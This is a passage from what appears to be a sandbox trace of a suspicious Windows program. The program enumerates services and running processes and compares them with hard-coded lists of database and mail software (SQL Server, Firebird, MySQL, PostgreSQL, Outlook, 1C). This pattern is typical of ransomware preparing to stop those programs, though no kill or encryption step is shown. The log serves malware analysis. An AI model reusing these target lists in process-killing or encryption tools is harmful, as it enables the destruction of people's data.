(lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0210.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0210.973] lstrlenW (lpString="RpcEptMapper") returned 12 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0210.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0210.974] lstrlenW (lpString="RpcSs") returned 5 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0210.974] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0210.974] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0210.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0210.974] lstrlenW (lpString="SamSs") returned 5 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0210.974] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0210.974] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0210.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0210.974] lstrlenW (lpString="Schedule") returned 8 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0210.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0210.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0210.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0210.974] lstrlenW (lpString="SENS") returned 4 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0210.974] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0210.974] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0210.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0210.974] lstrlenW (lpString="ShellHWDetection") returned 16 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0210.975] lstrlenW (lpString="Spooler") returned 7 [0210.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0210.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0210.975] lstrlenW (lpString="sppsvc") returned 6 [0210.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0210.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0210.975] lstrlenW (lpString="SysMain") returned 7 [0210.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0210.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0210.975] lstrlenW (lpString="Themes") returned 6 [0210.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0210.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0210.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0210.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0210.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0210.975] lstrlenW (lpString="TrkWks") returned 6 [0210.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0210.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0210.976] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0210.976] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0210.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0210.976] lstrlenW (lpString="UxSms") returned 5 [0210.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0210.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0210.976] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0210.976] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0210.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0210.976] lstrlenW (lpString="VSS") returned 3 [0210.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0210.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0210.976] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0210.976] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0210.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0210.976] lstrlenW (lpString="WdiServiceHost") returned 14 [0210.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0210.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0210.976] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0210.976] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0210.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0210.976] lstrlenW (lpString="WdiSystemHost") returned 13 [0210.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0210.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0210.976] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0210.976] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0210.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0210.977] lstrlenW (lpString="WinDefend") returned 9 [0210.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0210.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0210.977] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0210.977] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0210.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0210.977] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0210.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0210.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0210.977] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0210.977] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0210.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0210.977] lstrlenW (lpString="Winmgmt") returned 7 [0210.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0210.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0210.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0210.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0210.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0210.977] lstrlenW (lpString="wscsvc") returned 6 [0210.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0210.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0210.977] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0210.977] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0210.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0210.977] lstrlenW (lpString="wuauserv") returned 8 [0210.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0210.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0210.977] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0210.977] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0210.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0210.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0210.978] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0210.979] Process32FirstW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.980] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0210.981] lstrlenW (lpString="System") returned 6 [0210.981] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0210.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0210.981] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0210.982] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0210.982] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0210.982] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0210.982] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0210.982] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0210.982] lstrlenW (lpString="smss.exe") returned 8 [0210.982] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0210.982] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0210.983] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.983] lstrlenW (lpString="csrss.exe") returned 9 [0210.983] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0210.984] lstrlenW (lpString="wininit.exe") returned 11 [0210.984] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.985] lstrlenW (lpString="csrss.exe") returned 9 [0210.985] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0210.985] lstrlenW (lpString="winlogon.exe") returned 12 [0210.985] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0210.986] lstrlenW (lpString="services.exe") returned 12 [0210.986] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0210.987] lstrlenW (lpString="lsass.exe") returned 9 [0210.987] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0210.988] lstrlenW (lpString="lsm.exe") returned 7 [0210.988] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.989] lstrlenW (lpString="svchost.exe") returned 11 [0210.989] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.989] lstrlenW (lpString="svchost.exe") returned 11 [0210.989] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.990] lstrlenW (lpString="svchost.exe") returned 11 [0210.990] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.991] lstrlenW (lpString="svchost.exe") returned 11 [0210.991] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.992] lstrlenW (lpString="svchost.exe") returned 11 [0210.992] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0210.993] lstrlenW (lpString="audiodg.exe") returned 11 [0210.993] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.994] lstrlenW (lpString="svchost.exe") returned 11 [0210.994] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.995] lstrlenW (lpString="svchost.exe") returned 11 [0210.995] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0210.996] lstrlenW (lpString="dwm.exe") returned 7 [0210.996] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0210.997] lstrlenW (lpString="explorer.exe") returned 12 [0210.997] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0210.997] lstrlenW (lpString="spoolsv.exe") returned 11 [0210.997] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0210.998] lstrlenW (lpString="taskhost.exe") returned 12 [0210.998] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.999] lstrlenW (lpString="svchost.exe") returned 11 [0210.999] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0211.000] lstrlenW (lpString="taskeng.exe") returned 11 [0211.000] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0211.042] lstrlenW (lpString="taskhost.exe") returned 12 [0211.043] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0211.043] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0211.043] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0211.044] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0211.044] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0211.045] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0211.045] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0211.045] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0211.045] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0211.046] lstrlenW (lpString="always_winds.exe") returned 16 [0211.046] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0211.047] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0211.047] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0211.048] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0211.048] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0211.049] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0211.049] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0211.050] lstrlenW (lpString="alienwed.exe") returned 12 [0211.050] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0211.050] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0211.050] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0211.051] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0211.051] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0211.052] lstrlenW (lpString="mp beginners.exe") returned 16 [0211.052] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0211.053] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0211.053] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0211.053] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0211.053] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0211.054] lstrlenW (lpString="harassment.exe") returned 14 [0211.054] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0211.055] lstrlenW (lpString="francis-communication.exe") returned 25 [0211.055] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0211.056] lstrlenW (lpString="gccinformational.exe") returned 20 [0211.056] Process32NextW (in: hSnapshot=0x204, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0211.057] lstrlenW (lpString="diploma.exe") returned 11 [0211.057] Process32NextW (in: hSnapshot=0x204, 